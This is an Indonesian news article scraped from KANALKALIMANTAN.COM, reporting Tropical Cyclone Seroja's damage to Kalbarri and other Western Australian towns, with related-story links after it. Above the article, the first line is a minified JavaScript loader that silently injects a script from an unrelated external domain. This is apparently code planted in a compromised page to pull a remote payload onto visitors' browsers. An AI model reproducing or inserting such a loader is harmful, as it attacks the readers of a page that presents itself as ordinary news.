(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Topan kuat memorak-porandakan beberapa kota di pantai barat Australia, menghancurkan jendela, mematahkan pohon, dan memutus aliran listrik.
Siklon Tropis Seroja, begitu nama topan tersebut, melintasi pantai negara bagian Australia Barat, dengan kecepatan angin hingga 170 kilometer per jam tak lama setelah kegelapan tiba pada Minggu malam, kata sejumlah pejabat setempat, Senin (12/4).
Dilansir dari VOA Indonesia, Kota wisata Kalbarri, yang berpenduduk 1.400 orang dan terletak sekitar 580 kilometer dari ibu kota negara bagian itu, Perth, mengalami kerusakan terparah.
Sekitar 70 persen bangunan di kota itu terimbas, dan kerusakan di antara 30 persen bangunan yang terimbas itu tergolong signifikan, kata Komisaris Departemen Kebakaran dan Layanan Darurat Darren Klemm. Kota-kota pesisir lainnya mengalami kerusakan yang lebih ringan.
Baca Juga:
Warga Banjarmasin Tarawih Perdana di Masjid Sabilal dengan Terapkan Prokes Covid-19
Perusahaan listrik pemerintah, Western Power melaporkan sekitar 31.500 pelanggan terputus aliran listriknya. Belum ada laporan mengenai apakah ada korban yang mengalami cedera serius akibat hantaman topan itu. Topan kuat semacam itu jarang terjadi di kawasan subtropis Australia.
“Beberapa bangunan tua tidak bisa menahan hantaman topan itu. Beberapa bangunan modern juga tidak bisa menahannya, ” kata Steve Cable, manajer Dinas Layanan Penanggulangan Keadaan Darurat kepada Australian Broadcasting Corp. “Pohon-pohon besar dengan dahan-dahan yang cukup besar patah seperti wortel,” tambahnya.
Baca juga: Simpan 14 Paket Sabu, JO Tak Berkutik Saat Dibekuk Sat Resnarkoba Polres HSU
Debbie Major, seorang warga Kalbarri, berada di sebuah ruangan di taman mobil trailer yang dikelolanya, saat topan datang. Ia memegangi pintu untuk mencegahnya terbuka saat dahan pohon yang patah menghancurkan jendela. “Saya tidak pernah mengalami apa pun dalam hidup saya seperti yang saya alami tadi malam, ” kata Mayor. ”Itu menakutkan.”
Siklon Seroja melemah dan diturunkan ke tingkat tropis terendah sebelum bertiup ke laut dekat Esperance, Senin.
Topan yang sama menyebabkan banjir dan tanah longsor yang menewaskan sedikitnya 174 orang dan menyebabkan 48 orang hilang di Indonesia dan Timor Leste pekan lalu. (suara.com)
KANALKALIMANTAN.COM - Setelah sukses menggebrak dengan promo spektakuler di HUT BRI ke-129, kini BRI kembali… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pemerintah Kabupaten Banjar menyerahkan bantuan alat dan mesin pertanian, di Mahligai Sultan… Read More
Tiga Mobil Pribadi dan Satu Motor Kena Imbas, Sopir Akui Rem Tak Normal Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru memenuhi panggilan gugatan di Pengadilan Tata… Read More
KANALKALIMANTAN.COM, NANGA BULIK - Pj Bupati Lamandau Said Salim menghadiri kegiatan selebrasi penyerahan hasil survei… Read More
KANALKALIMANTAN.COM, MARTAPURA - Kepolisian Daerah (Polda) Kalimantan Selatan (Kalsel) mendukung program ketahanan pangan dengan menyiapkan… Read More
This website uses cookies.